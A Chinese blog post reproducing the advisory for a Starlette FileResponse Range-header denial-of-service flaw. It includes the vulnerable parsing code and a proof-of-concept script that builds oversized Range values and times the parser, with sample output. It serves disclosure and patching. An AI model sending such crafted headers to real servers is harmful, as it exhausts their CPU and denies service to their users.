Starlette文件响应Range头解析漏洞分析:O(n^2)复杂度DoS攻击

本文详细分析了Starlette框架中FileResponse组件的安全漏洞CVE-2025-62727,攻击者可通过特制Range头触发二次方时间复杂度处理,导致CPU资源耗尽和服务拒绝。影响版本0.39.0至0.49.0,已修复于0.49.1版本。

Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse

漏洞详情

包管理器: pip
受影响包: starlette (pip)
受影响版本: >= 0.39.0, <= 0.49.0
修复版本: 0.49.1

漏洞描述

概述

未经身份验证的攻击者可以发送特制的HTTP Range头,触发Starlette的FileResponse范围解析/合并逻辑中的二次方时间处理。这会导致每个请求都耗尽CPU资源,从而对提供文件服务的端点(例如StaticFiles或任何使用FileResponse的情况)造成拒绝服务。

详细说明

Starlette在FileResponse._parse_range_header()中解析多范围请求,然后使用O(n^2)算法合并范围。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # 存在O(n^2)复杂度ReDoS漏洞

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # 存在漏洞
            if _ != ("", "")
        ]

FileResponse._parse_range_header()的解析循环使用了存在拒绝服务漏洞的正则表达式,其时间复杂度为O(n^2)。特制的Range头可以最大化其复杂度。

合并循环通过扫描整个结果列表来处理每个输入范围,当存在许多不重叠的范围时会产生二次方行为。特制的包含许多小的非重叠范围(或特殊形状的数字子字符串)的Range头可以最大化比较次数。

此漏洞影响任何使用以下功能的Starlette应用程序:

  • starlette.staticfiles.StaticFiles(内部返回FileResponse)— starlette/staticfiles.py:178
  • 直接的starlette.responses.FileResponse响应

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """构建Range头值体:'0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # 使用足够大的file_size,使上限默认为文件大小
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

影响范围

任何通过FileResponse或StaticFiles提供文件服务的Starlette应用程序;基于Starlette构建的框架(例如FastAPI)在使用文件服务端点时会间接受影响。未经身份验证的远程攻击者可以通过带有特制Range头的单个HTTP请求利用此漏洞。

参考链接

严重程度

高危 - CVSS评分:7.5/10

CVSS v3基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 范围:未改变
  • 机密性:无影响
  • 完整性:无影响
  • 可用性:高影响

弱点分类

  • CWE-400: 不受控制的资源消耗
  • CWE-407: 低效的算法复杂度

信用致谢

  • 报告者:ch4n3-yoon
  • 分析师:nadavaseal
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计